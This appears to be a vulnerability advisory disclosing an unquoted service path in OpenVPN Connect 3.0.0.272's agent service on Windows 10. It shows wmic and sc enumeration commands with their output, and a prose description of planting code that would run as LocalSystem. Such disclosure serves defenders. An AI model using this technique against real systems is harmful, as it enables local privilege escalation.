34 lines
No EOL
1.5 KiB
Text
34 lines
No EOL
1.5 KiB
Text
# Exploit Title: OpenVPN Connect 3.0.0.272 - 'ovpnagent' Unquoted Service Path
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# Discovery by: Luis Martinez
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# Discovery Date: 2019-11-03
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# Vendor Homepage: https://openvpn.net
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# Software Link : https://openvpn.net/downloads/openvpn-connect-v3-windows.msi
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# Tested Version: 3.0.0.(272)
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# Vulnerability Type: Unquoted Service Path
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# Tested on OS: Windows 10 Pro x64 es
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# Step to discover Unquoted Service Path:
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C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "ovpnconnect" | findstr /i /v """
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OpenVPN Agent agent_ovpnconnect agent_ovpnconnect C:\Program Files\OpenVPN Connect\agent_ovpnconnect_1559309046710.exe Auto
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# Service info:
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C:\>sc qc agent_ovpnconnect
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[SC] QueryServiceConfig SUCCESS
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SERVICE_NAME: agent_ovpnconnect
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TYPE : 10 WIN32_OWN_PROCESS
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START_TYPE : 2 AUTO_START
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ERROR_CONTROL : 1 NORMAL
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BINARY_PATH_NAME : C:\Program Files\OpenVPN Connect\agent_ovpnconnect_1559309046710.exe
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LOAD_ORDER_GROUP :
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TAG : 0
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DISPLAY_NAME : OpenVPN Agent agent_ovpnconnect
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DEPENDENCIES :
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SERVICE_START_NAME : LocalSystem
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#Exploit:
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A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application. |